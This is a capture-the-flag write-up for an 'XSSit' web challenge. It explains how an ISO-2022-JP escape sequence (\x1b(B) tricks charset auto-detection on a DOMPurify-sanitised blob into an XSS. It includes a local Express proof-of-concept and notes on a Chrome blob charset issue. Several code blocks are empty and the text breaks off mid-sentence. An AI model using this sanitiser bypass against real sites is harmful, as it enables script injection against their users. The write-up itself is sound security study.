> For the complete documentation index, see [llms.txt](https://sibivasan.gitbook.io/sibivasan/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sibivasan.gitbook.io/sibivasan/writeups/ctf-writeups/xssit.md).
# XSSit
Challenge:
{% embed url="" %}
#### Source:
```javascript
```
Checking for the **Dompurify** version.
Application uses the latest version of DOMPurify, so the version is not vulnerable to any CVE's.
{% embed url="" %}
Applications parse the HTML input and make it in the blob.
{% embed url="" %}
{% hint style="info" %}
DOMPurify will strip out everything that contains dangerous HTML and thereby prevent XSS attacks.
{% endhint %}
DOMPurify Strips dangerous HTML`` to the `.` So, we can't able to popup the XSS.
```javascript
sanitized = DOMPurify.sanitize(htmlContent)
var blob = new Blob([sanitized], {
type: "text/html"
});
```
In the [**type** ](#user-content-fn-1)[^1]field, they didn't include `charset`.
{% embed url="" %}
> The `charset` attribute tells the browser that UTF-8 was used to encode the HTTP response body. A character encoding like UTF-8 defines a **mapping between characters and bytes**. When a web server serves an HTML document, it maps the characters of the document to the corresponding bytes and transmits these in the HTTP response body. This process turns characters into bytes (*encode*).
{% embed url="" %}
Three common ways that a browser uses to **determine the character encoding** of an HTML document, ordered by priority:
1. Byte-Order Mark at the beginning of the HTML document
2. `charset` attribute in the `Content-Type` header
3. `` tag in the HTML document
If no charset is provided in the response Content-Type header,Use Byte Order Mark to bypass DOMPurify.
```javascript
const createDOMPurify = require("dompurify");
const { JSDOM } = require("jsdom");
const http = require("http");
const express = require('express');
const app = express();
const port = 3000;
app.get('/vulnerable', (req, res) => {
const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);
const clean = DOMPurify.sanitize('\x1b(B');
res.statusCode = 200;
res.setHeader("Content-Type", "text/html");
res.end(clean);
});
app.listen(port, () => {
console.log(`ReDoS Vulnerability app listening at http://localhost:${port}`);
});
```
Run this POC in locally:
The XSS poped up properly, so trying the same payload in the challenge.
```
\x1b(B
```
Payload breaks our payload not escapes properly and not converted as Japanese language like happened in local.
While checking the charset of the blob.
Charset is in default windows-1252.
{% hint style="info" %}
A single occurrence of one of these escape sequences is usually enough to convince the auto-detection algorithm that the HTTP response body is encoded with ISO-2022-JP.
{% endhint %}
Change the charset using the escape sequence.
{% embed url="" %}
Now the Charset changed to ISO-2022-JP.
So change the payload \x1b(B to %1b(B so we can escape it.
>
Boom we got a XSS :tada:.
#### Extras:
While looking for this challenge, read about the similar issue in the chromium.
{% embed url="" %}
```javascript
var blob = new Blob([`This content should be decoded using UTF-8`], {
type: "text/html;charset=utf-8"//this charset should be respected
});
```
{% code overflow="wrap" %}
```
If blob has a type attribute of text/plain;charset=utf-8 then getting an encoding is run using "utf-8" as the label. Note that user agents must parse and extract the portion of the Charset Parameter that constitutes a label of an encoding.
```
{% endcode %}
{% hint style="info" %}
Chrome ignores the charset specified in the type attribute. This behavior could introduce XSS via the charset auto-detection.
{% endhint %}
POC:
```html
```
#### Chrome vulnerable version:
> #### Version 85.0.4156.0 (Official Build) canary (64-bit)
#### POC:
Chrome ignores the type attribute's charset and auto-detects it from the Blob content. If auto-detected as "ISO-2022-JP" instead of UTF-8, decoding differences cause unexpected HTML rendering, executing JavaScript instead of displaying a textarea with "\